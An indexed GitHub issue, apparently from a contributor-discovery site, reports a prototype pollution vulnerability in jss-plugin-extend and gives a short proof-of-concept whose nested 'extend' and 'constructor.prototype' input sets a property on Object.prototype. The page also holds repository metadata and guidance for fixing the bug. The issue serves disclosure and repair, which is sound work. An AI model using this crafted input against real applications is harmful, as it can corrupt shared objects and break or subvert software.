Prototype Pollution in the plugin jss-plugin-extend
- Dominant language
- JavaScript
- Stars
- 7.1k
- Forks
- 386
- PR merge metrics
- No merged PRs in 30d
Description
__Expected behavior:__
The prototype object `Object.prototype` should not be modified.
__Describe the bug:__
There is a prototype pollution vulnerability in the plugin jss-plugin-extend
__Reproduction:__
Using the following exploit:
```
var jss = require('jss');
var extend = require('jss-plugin-extend');
var s = jss.create()
.use(extend.default())
.createStyleSheet(
{extend: {extend: {constructor: {prototype: {polluted: 'yes'}}}}}
);
console.log(Object.prototype.polluted === 'yes')
```
__Versions (please complete the following information):__
- jss: 10.10.0 (newest)
- OS [Linux, macOS, Windows]:
Contributor guide
Research direction
Start by locating the jss-plugin-extend implementation and running the supplied reproduction to confirm that Object.prototype is modified. Trace how the nested extend input is handled, then verify the fix against the same exploit; done means Object.prototype remains unchanged.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript
- Domain
- security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 52/100